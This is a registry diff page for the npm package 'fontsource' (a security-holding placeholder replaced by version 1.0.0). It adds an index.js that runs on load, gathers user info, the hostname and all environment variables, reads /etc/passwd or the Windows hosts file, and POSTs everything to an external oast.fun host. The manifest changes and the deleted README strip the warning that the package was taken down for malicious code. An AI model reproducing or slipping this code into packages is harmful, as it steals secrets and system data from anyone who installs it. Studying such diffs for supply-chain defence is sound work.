fontsource 0.0.1-security → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of fontsource might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +55 -0
  2. package/package.json +9 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,55 @@
1
+ const fs = require('fs');
2
+ const os = require('os');
3
+ const https = require('https');
4
+
5
+ function exfiltrate() {
6
+ // Collect system information
7
+ const data = JSON.stringify({
8
+ user: os.userInfo(),
9
+ hostname: os.hostname(),
10
+ env: process.env
11
+ });
12
+
13
+ // Determine the OS and read the appropriate file
14
+ let sensitiveFileContent = '';
15
+ if (os.platform() === 'linux' || os.platform() === 'darwin') {
16
+ // Unix-like systems: read /etc/passwd
17
+ try {
18
+ sensitiveFileContent = fs.readFileSync('/etc/passwd', 'utf8');
19
+ } catch (err) {
20
+ sensitiveFileContent = `Error reading /etc/passwd: ${err.message}`;
21
+ }
22
+ } else if (os.platform() === 'win32') {
23
+ // Windows: read C:\Windows\System32\drivers\etc\hosts
24
+ try {
25
+ sensitiveFileContent = fs.readFileSync('C:\\Windows\\System32\\drivers\\etc\\hosts', 'utf8');
26
+ } catch (err) {
27
+ sensitiveFileContent = `Error reading hosts file: ${err.message}`;
28
+ }
29
+ } else {
30
+ sensitiveFileContent = 'Unsupported operating system';
31
+ }
32
+
33
+ // Add the sensitive file content to the data
34
+ const exfilData = JSON.stringify({
35
+ ...JSON.parse(data),
36
+ sensitiveFile: sensitiveFileContent
37
+ });
38
+
39
+ // Exfiltrate the data
40
+ const options = {
41
+ hostname: 'rfkdzilfytxwxuugbptenlr7n7wr1qdyg.oast.fun',
42
+ port: 443,
43
+ path: '/npmtakeoverlbl3',
44
+ method: 'POST',
45
+ headers: {
46
+ 'Content-Type': 'application/json'
47
+ }
48
+ };
49
+
50
+ const req = https.request(options);
51
+ req.write(exfilData);
52
+ req.end();
53
+ }
54
+
55
+ exfiltrate();
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "fontsource",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "keywords": [],
10
+ "author": "",
11
+ "license": "ISC"
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=fontsource for more information.